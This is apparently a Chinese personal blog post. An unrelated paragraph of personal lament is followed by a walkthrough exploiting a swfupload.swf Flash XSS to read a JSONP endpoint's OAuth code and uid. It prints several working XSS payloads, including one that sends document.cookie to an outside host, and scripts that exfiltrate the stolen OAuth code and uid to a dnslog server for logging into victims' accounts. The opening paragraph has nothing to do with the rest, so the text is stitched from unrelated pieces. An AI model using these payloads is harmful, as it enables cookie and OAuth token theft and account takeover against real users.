活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。
利用FLASH XSS跨域读取 jsonp。其中FALSH XSS是swfupload.sw的 XSS 来读取jsonp的code 与token值。
XSS 是很老的一个XSS了。 swfupload.swf XSS,这里是如果利用这个xss 读取jsonp.
简单的几种payload:
/swfupload.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
/swfupload.swf??movieName="]);}catch(e){}if(!self.a)self.a=!alert(1);//
/swfupload.swf??movieName="])}catch(e){if(!window.x){window.x=1;(function(){(new Image()).src='https://xss.me&cookie='+escape(document.cookie);})();}}//
swf标签没有名为 head 的元素
在html 使用 :(function(){var jsonp=document.createElement("script");jsonp.src="https://www.dysaozhu.com";document.getElementsByTagName("head")[0].appendChild(jsonp);});
在 swf中没有 head 所有使用body
使用:
swfupload/swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="https://www.dysaozhu.com/xss.js";document.body.appendChild(jsonp);}}//
可以弹出 xss.js 里面的代码:alert(1);
这里直接在js里面写。。写了好多次,发现 都是不能读取 cookies.我也不知道是什么问题,有前端大神知道,可以CALL我一下,被我指出问题。
再次修改:
swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="https://rrd.me/bpL2K";document.body.appendChild(jsonp);var jsonp=document.createElement("script");jsonp.src="https://rrd.me/bpL2Y";document.body.appendChild(jsonp);}}//
这里给出一个小的flag,在服务端对?"&等特殊符号有处理或者检测时。用短域名能减少很多的麻烦事。有一个好习惯。
其中的js 这样写:
alert("You'r code:"+abc.data.code+"\n"+"You'r uid:"+abc.data.uid);
这里测试可以获取到data.code 与data.uid。 说明就是没有问题了。这里就只用在构建一个script.把其中的data.code data.uid发送到我们自己的服务器上去。就可以获取到自己的oauth认证的code与token
其中我JS里面的内容是这样的。
var img = document.createElement("img"); img.src = 'https://xxx.dnslog.link/?c='+abc.data.code+abc.data.uid; document.body.appendChild(img);
var s = document.createElement('script');s.src = "https://xxx.dnslog.link/?c="+abc.data.code+"--"+abc.data.uid;document.body.appendChild(s);
收到了CODE 值,有CODE值。是可以用oauth授权口登陆自己想要登陆的网站的。
------------------------------------------
PS:
其中大家发现之前是这样执行JS里面内容的。
swfupload.swf?movieName="])}catch(e){if(!window.x){window.x=1;var jsonp=document.createElement("script");jsonp.src="https://www.dysaozhu.com/xss.js";document.body.appendChild(jsonp);}}//
其中XSS.JS里面的内容是:
------------xss.js--------------------------
var xmlhttp;
// 创建XMLHTTPRequest对象
function createXMLHTTPRequest()
{
if(window.ActiveXObject)//②如果当前浏览器为IE
{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
else if(window.XMLHttpRequest)//③如果是其他浏览器
{
xmlhttp = new XMLHttpRequest();
}else
{
alert("Your browser does not support XMLHTTP.");
}
}
function getInfo()
{
createXMLHTTPRequest();
xmlhttp.open("get", "https://xxxx.xxx.com/iframe/auth?callback=&client_id=1&id=xxx", true);
xmlhttp.onreadystatechange = returnInfo;
xmlhttp.send(null);
}
function returnInfo()
{
if(xmlhttp.readyState == 4)
{
var info = xmlhttp.responseText;
eval("var json= " + info);
alert(json.code);
}
}
getInfo();
--------------------------------------------------------
放弃用这个读取,是因为xmlhttp貌似读取不到code与token值。我也不知道是什么问题。所以放弃了用xmlhttp读取。有大神懂也请一并告诉我一下为什么。
© Sh4dow's Blog | Powered by LOFTER